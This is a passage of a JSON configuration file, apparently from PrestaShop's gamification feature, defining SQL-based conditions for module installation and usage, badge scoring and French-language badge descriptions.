'1')) OR (( name LIKE 'SOCOLISSIMO_URL') AND ( value != 'http:\/\/pfi.telintrans.fr\/pudo-fo-frame\/storeCall.do')) OR (( name LIKE 'SOCOLISSIMO_URL_MOBILE') AND ( value != 'http:\/\/qlf.ws-mobile.colissimo.fr'))","operator":"==","value":"3","calculation_type":"time","calculation_detail":"1","id_ps_condition":"327"},"378":{"name":"Module socolissimo active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%socolissimo%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"378"},"395":{"name":"Module socolissimo superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%socolissimo%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"100","calculation_type":"time","calculation_detail":"1","id_ps_condition":"395"},"228":{"name":"Module fianetfraud installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%fianetfraud%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"228"},"230":{"name":"Module fianetfraud configured","type":"configuration","request":"FIANETFRAUD_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"230"},"400":{"name":"Module fianetfraud active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%fianetfraud%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"400"},"401":{"name":"Module fianetfraud superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%fianetfraud%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"401"},"272":{"name":"Module kwixo installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%kwixo%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"272"},"274":{"name":"Module kwixo configured","type":"configuration","request":"KWIXO_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"274"},"402":{"name":"Module kwixo active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%kwixo%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"402"},"403":{"name":"Module kwixo superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%kwixo%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 30 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"403"},"139":{"name":"Module mondialrelay installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%mondialrelay%\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"139"},"287":{"name":"Module mondialrelay configured","type":"configuration","request":"MONDIALRELAY_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"287"},"367":{"name":"Module mondialrelay active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%mondialrelay %\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"367"},"404":{"name":"Module mondialrelay superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%mondialrelay%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"100","calculation_type":"time","calculation_detail":"1","id_ps_condition":"404"},"288":{"name":"Module nqgatewayneteven installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%nqgatewayneteven%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"288"},"290":{"name":"Module nqgatewayneteven configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE name LIKE 'NQGATEWAYNETEVEN_CONFIGURATION_OK' OR name LIKE 'NQGATEWAYNETEVEN_CONFIGURED'\r\n","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"290"},"405":{"name":"Module nqgatewayneteven active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%nqgatewayneteven%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"405"},"406":{"name":"Module nqgatewayneteven superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%nqgatewayneteven%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"406"},"311":{"name":"Module prediggo installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%prediggo%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"311"},"313":{"name":"Module prediggo configured","type":"configuration","request":"PREDIGGO_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"313"},"314":{"name":"Module sendinblue installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%sendinblue%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"314"},"316":{"name":"Module sendinblue configured","type":"configuration","request":"SENDINBLUE_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"316"},"325":{"name":"Module shoppingfluxexport configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE name LIKE 'SHOPPINGFLUXEXPORT_CONFIGURATION_OK' OR name LIKE 'SHOPPINGFLUXEXPORT_CONFIGURED'","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"325"},"336":{"name":"Module tntcarrier configured","type":"configuration","request":"TNTCARRIER_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"336"},"407":{"name":"Module tntcarrier active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%tntcarrier%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"407"},"408":{"name":"Module tntcarrier superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%tntcarrier%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"100","calculation_type":"time","calculation_detail":"1","id_ps_condition":"408"},"341":{"name":"Module trustpilot installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%trustpilot%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"341"},"344":{"name":"Module twenga installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%twenga%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"344"},"346":{"name":"Module twenga configured","type":"configuration","request":"TWENGA_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"346"},"332":{"name":"Module textmaster installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%textmaster%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"332"},"334":{"name":"Module textmaster configured","type":"configuration","request":"TEXTMASTER_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"334"},"381":{"name":"Module textmaster active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_textmaster_project WHERE status = \"completed\"","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"381"},"396":{"name":"Module textmaster superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_textmaster_project WHERE status = \"completed\"","operator":">=","value":"10","calculation_type":"time","calculation_detail":"1","id_ps_condition":"396"}},"signature":"g4OUxtQqezZ14YSCwkuTSESGB191zd5sA3OtUBfho9Il2s9z7CXCLjBpyGoYjrjZjyKXTZ3EkGSwB5\/qCanwMOTq+RVrx\/gwGwQTDSh8kRCgz8Tk44p7IJ0KXUR38OG2GW\/EcI\/lkPDY7V9fpKZ1dH8WacRCqtkA9ARXmugCw8qcDGINx7v4znFfT34Pbr36WY69BCMiFygZuXzMnByxrjyj9xH5b06aVX3Z8xIffMml6E\/7NO6vqHfIBpxwF9YPrRpOByzwmnsb63YYh20Fla\/oix7TRXoE7Oe6c+sBB0YsZSy6pvKUAXERXklpWxGBYtsVEbflc534smX0lapaCw==","signature_16":"cfXlFP+ALhBpx6OEox1mWilLQFeajAYBgtwEZVzy\/E55EFzK686E3AZfp6OYbvRnawWLPBANJBdpM35wTPr73rcV7H+HzrV9oMXBnXPdOvLSgQu8ykAKr2W+QDSJKRUr6JoXkWIUjC61S9ylXZtioy3Ogtf2RPbJ5fvem2VzWGpihxdB0dihJ6ALv7FJBw4gQnMLke2kwTxVQpDu7BWhGr7r6AkXoH0f2g3Y7JO5QpARrtPRkpoKPICMfCbozC\/oJrKhCBt681fv6UavgE1mVP9WLznOtri9fpvoRLzAapcWxIOjczwAAm4e1TFTvTRoTKYP6t1NFhS5Iu596zT0mw==","badges":[{"type":"feature","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"1","id_group":"1","conditions":["1"]},{"type":"feature","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"2","id_group":"2","conditions":["2","3","4"]},{"type":"feature","group_position":"2","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"3","id_group":"2","conditions":["5"]},{"type":"feature","group_position":"1","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"4","id_group":"3","conditions":["6"]},{"type":"feature","group_position":"2","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"5","id_group":"3","conditions":["7"]},{"type":"feature","group_position":"1","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"6","id_group":"4","conditions":["8"]},{"type":"feature","group_position":"2","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"7","id_group":"4","conditions":["9"]},{"type":"feature","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"8","id_group":"5","conditions":["10"]},{"type":"feature","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"9","id_group":"5","conditions":["11"]},{"type":"feature","group_position":"1","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"10","id_group":"6","conditions":["16"]},{"type":"feature","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"11","id_group":"6","conditions":["17"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"12","id_group":"6","conditions":["18"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"13","id_group":"5","conditions":["12"]},{"type":"feature","group_position":"4","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"14","id_group":"5","conditions":["13"]},{"type":"feature","group_position":"5","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"15","id_group":"5","conditions":["14"]},{"type":"feature","group_position":"6","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"16","id_group":"5","conditions":["15"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"17","id_group":"7","conditions":["19"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"18","id_group":"7","conditions":["20"]},{"type":"feature","group_position":"1","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"19","id_group":"8","conditions":["21"]},{"type":"feature","group_position":"2","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"20","id_group":"8","conditions":["22"]},{"type":"feature","group_position":"1","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"21","id_group":"9","conditions":["23"]},{"type":"feature","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"22","id_group":"10","conditions":["24"]},{"type":"feature","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"23","id_group":"10","conditions":["25"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"24","id_group":"10","conditions":["28"]},{"type":"feature","group_position":"4","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"25","id_group":"10","conditions":["26"]},{"type":"feature","group_position":"5","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"26","id_group":"10","conditions":["27"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"27","id_group":"4","conditions":["30"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"28","id_group":"3","conditions":["29"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"29","id_group":"11","conditions":["31"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"30","id_group":"11","conditions":["32"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"31","id_group":"11","conditions":["33"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"32","id_group":"11","conditions":["34"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"33","id_group":"11","conditions":["35"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"34","id_group":"11","conditions":["36"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"35","id_group":"7","conditions":["37"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"36","id_group":"7","conditions":["38"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"37","id_group":"7","conditions":["39"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"38","id_group":"7","conditions":["40"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"39","id_group":"12","conditions":["41"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"40","id_group":"12","conditions":["42"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"41","id_group":"12","conditions":["43"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"42","id_group":"12","conditions":["44"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"43","id_group":"12","conditions":["45"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"44","id_group":"12","conditions":["46"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"45","id_group":"13","conditions":["47"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"46","id_group":"13","conditions":["48"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"47","id_group":"13","conditions":["49"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"48","id_group":"13","conditions":["50"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"49","id_group":"13","conditions":["51"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"50","id_group":"13","conditions":["52"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"51","id_group":"14","conditions":["53"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"52","id_group":"14","conditions":["54"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"53","id_group":"14","conditions":["55"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"54","id_group":"14","conditions":["56"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"55","id_group":"14","conditions":["57"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"56","id_group":"14","conditions":["58"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"57","id_group":"15","conditions":["65"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"58","id_group":"15","conditions":["66"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"59","id_group":"15","conditions":["67"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"60","id_group":"15","conditions":["68"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"61","id_group":"15","conditions":["69"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"62","id_group":"15","conditions":["70"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"63","id_group":"16","conditions":["59"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"64","id_group":"16","conditions":["60"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"65","id_group":"16","conditions":["61"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"66","id_group":"16","conditions":["62"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"67","id_group":"16","conditions":["63"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"68","id_group":"16","conditions":["64"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"69","id_group":"17","conditions":["71"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"70","id_group":"18","conditions":["72"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"71","id_group":"19","conditions":["73"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"72","id_group":"20","conditions":["74"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"73","id_group":"21","conditions":["75"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"74","id_group":"22","conditions":["76"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"75","id_group":"23","conditions":["79"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"83","id_group":"31","conditions":["85"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"84","id_group":"25","conditions":["86"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"86","id_group":"33","conditions":["88"]},{"type":"international","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"87","id_group":"34","conditions":["89"]},{"type":"feature","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"88","id_group":"35","conditions":["90"]},{"type":"feature","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"89","id_group":"35","conditions":["91"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"90","id_group":"35","conditions":["92"]},{"type":"feature","group_position":"4","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"91","id_group":"35","conditions":["93"]},{"type":"feature","group_position":"5","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"92","id_group":"35","conditions":["94"]},{"type":"feature","group_position":"6","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"93","id_group":"35","conditions":["95"]},{"type":"feature","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"94","id_group":"36","conditions":["96"]},{"type":"feature","group_position":"2","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"95","id_group":"36","conditions":["97"]},{"type":"feature","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"96","id_group":"36","conditions":["98"]},{"type":"feature","group_position":"4","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"97","id_group":"36","conditions":["99"]},{"type":"feature","group_position":"5","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"98","id_group":"36","conditions":["100"]},{"type":"feature","group_position":"6","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"99","id_group":"36","conditions":["101"]},{"type":"feature","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"100","id_group":"8","conditions":["102"]},{"type":"achievement","group_position":"1","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"101","id_group":"37","conditions":["103"]},{"type":"achievement","group_position":"2","scoring":"5","awb":false,"partner_id":"-1","id_ps_badge":"102","id_group":"37","conditions":["104"]},{"type":"achievement","group_position":"3","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"103","id_group":"37","conditions":["105"]},{"type":"achievement","group_position":"4","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"104","id_group":"37","conditions":["107"]},{"type":"achievement","group_position":"5","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"105","id_group":"37","conditions":["106"]},{"type":"achievement","group_position":"6","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"106","id_group":"37","conditions":["108"]},{"type":"achievement","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"107","id_group":"38","conditions":["109"]},{"type":"achievement","group_position":"2","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"108","id_group":"38","conditions":["110"]},{"type":"achievement","group_position":"3","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"109","id_group":"38","conditions":["111"]},{"type":"achievement","group_position":"4","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"110","id_group":"38","conditions":["113"]},{"type":"achievement","group_position":"5","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"111","id_group":"38","conditions":["114"]},{"type":"achievement","group_position":"6","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"112","id_group":"38","conditions":["112"]},{"type":"achievement","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"113","id_group":"39","conditions":["165"]},{"type":"achievement","group_position":"2","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"114","id_group":"39","conditions":["166"]},{"type":"achievement","group_position":"3","scoring":"30","awb":false,"partner_id":"-1","id_ps_badge":"115","id_group":"39","conditions":["167"]},{"type":"achievement","group_position":"4","scoring":"40","awb":false,"partner_id":"-1","id_ps_badge":"116","id_group":"39","conditions":["168"]},{"type":"achievement","group_position":"5","scoring":"50","awb":false,"partner_id":"-1","id_ps_badge":"117","id_group":"39","conditions":["169"]},{"type":"achievement","group_position":"6","scoring":"50","awb":false,"partner_id":"-1","id_ps_badge":"118","id_group":"39","conditions":["170"]},{"type":"feature","group_position":"1","scoring":"10","awb":false,"partner_id":"-1","id_ps_badge":"119","id_group":"40","conditions":["171"]},{"type":"feature","group_position":"2","scoring":"15","awb":false,"partner_id":"-1","id_ps_badge":"120","id_group":"40","conditions":["172"]},{"type":"feature","group_position":"3","scoring":"20","awb":false,"partner_id":"-1","id_ps_badge":"121","id_group":"40","conditions":["173"]},{"type":"feature","group_position":"4","scoring":"25","awb":false,"partner_id":"-1","id_ps_badge":"122","id_group":"40","conditions":["174"]}],"badges_lang":[{"id_ps_badge":"1","name":"R\u00e9f\u00e9rencement","description":"Vous avez activ\u00e9 la r\u00e9\u00e9criture d'URL via l'onglet \"Pr\u00e9f\u00e9rences > SEO et URLs\".","group_name":"R\u00e9f\u00e9rencement"},{"id_ps_badge":"2","name":"Performances","description":"Vous avez activ\u00e9 CCC (Concat\u00e9nation, Compression et mise en Cache), Rijndael et Smarty via l'onglet \"Param\u00e8tres avanc\u00e9s > Performances\".","group_name":"Performances"},{"id_ps_badge":"3","name":"Performances","description":"Vous avez activ\u00e9 des serveurs de m\u00e9dias via l'onglet \" Param\u00e8tres avanc\u00e9s > Performances\". ","group_name":"Performances"},{"id_ps_badge":"4","name":"Moyens de paiement","description":"Vous avez configur\u00e9 une m\u00e9thode de paiement sur votre boutique.","group_name":"Moyens de paiement"},{"id_ps_badge":"5","name":"Moyens de paiement","description":"Vous offrez 2 m\u00e9thodes de paiement diff\u00e9rentes \u00e0 vos clients.","group_name":"Moyens de paiement"},{"id_ps_badge":"6","name":"Solutions de transport","description":"Vous avez configur\u00e9 un transporteur sur votre boutique.","group_name":"Solutions de transport"},{"id_ps_badge":"7","name":"Solutions de transport","description":"Vous proposez 2 solutions de livraison (transporteurs) \u00e0 vos clients.","group_name":"Solutions de transport"},{"id_ps_badge":"8","name":"Taille de catalogue","description":"Vous avez cr\u00e9\u00e9 le premier produit dans votre catalogue.","group_name":"Taille de catalogue"},{"id_ps_badge":"9","name":"Taille de catalogue","description":"Vous avez 10 produits au sein de votre catalogue.","group_name":"Taille de catalogue"},{"id_ps_badge":"10","name":"Points de contact","description":"Vous avez configur\u00e9 votre num\u00e9ro de t\u00e9l\u00e9phone en guise de point de contact.","group_name":"Points de contact"},{"id_ps_badge":"11","name":"Points de contact","description":"Vous avez configur\u00e9 une troisi\u00e8me adresse via votre formulaire de contact.","group_name":"Points de contact"},{"id_ps_badge":"12","name":"Points de contact","description":"5 services diff\u00e9rents peuvent \u00eatre contact\u00e9s via votre formulaire de contact.","group_name":"Points de contact"},{"id_ps_badge":"13","name":"Taille de catalogue","description":"Vous avez 100 produits au sein de votre catalogue.","group_name":"Taille de catalogue"},{"id_ps_badge":"14","name":"Taille de catalogue","description":"Vous avez 1 000 produits au sein de votre catalogue.","group_name":"Taille de catalogue"},{"id_ps_badge":"15","name":"Taille de catalogue","description":"Vous avez 10 000 produits au sein de votre catalogue.","group_name":"Taille de catalogue"},{"id_ps_badge":"16","name":"Taille de catalogue","description":"Vous avez 100 000 produits au sein de votre catalogue.","group_name":"Taille de catalogue"},{"id_ps_badge":"17","name":"Exp\u00e9rience","description":"Vous avez install\u00e9 PrestaShop !","group_name":"Exp\u00e9rience"},{"id_ps_badge":"18","name":"Exp\u00e9rience","description":"Vous avez d\u00e9marr\u00e9 avec PrestaShop il y a une semaine !","group_name":"Exp\u00e9rience"},{"id_ps_badge":"19","name":"Personnalisation","description":"Vous avez ajout\u00e9 votre logo.","group_name":"Personnalisation"},{"id_ps_badge":"20","name":"Personnalisation","description":"Vous avez install\u00e9 un nouveau th\u00e8me graphique.","group_name":"Personnalisation"},{"id_ps_badge":"21","name":"Addons","description":"Vous avez connect\u00e9 votre back-office \u00e0 la plateforme Addons gr\u00e2ce \u00e0 votre compte PrestaShop Addons.","group_name":"Addons"},{"id_ps_badge":"22","name":"Multi-boutiques","description":"Vous avez activ\u00e9 le multi-boutiques.","group_name":"Multi-boutiques"},{"id_ps_badge":"23","name":"Multi-boutiques","description":"Vous g\u00e9rez 2 boutiques diff\u00e9rentes via la fonctionnalit\u00e9 de multi-boutiques.","group_name":"Multi-boutiques"},{"id_ps_badge":"24","name":"Multi-boutiques","description":"Vous g\u00e9rez 2 groupes de boutiques gr\u00e2ce \u00e0 la fonctionnalit\u00e9 du multi-boutiques.","group_name":"Multi-boutiques"},{"id_ps_badge":"25","name":"Multi-boutiques","description":"Vous g\u00e9rez 5 boutiques diff\u00e9rentes via la fonctionnalit\u00e9 de multi-boutiques.","group_name":"Multi-boutiques"},{"id_ps_badge":"26","name":"Multi-boutiques","description":"Vous g\u00e9rez 5 groupes de boutiques gr\u00e2ce \u00e0 la 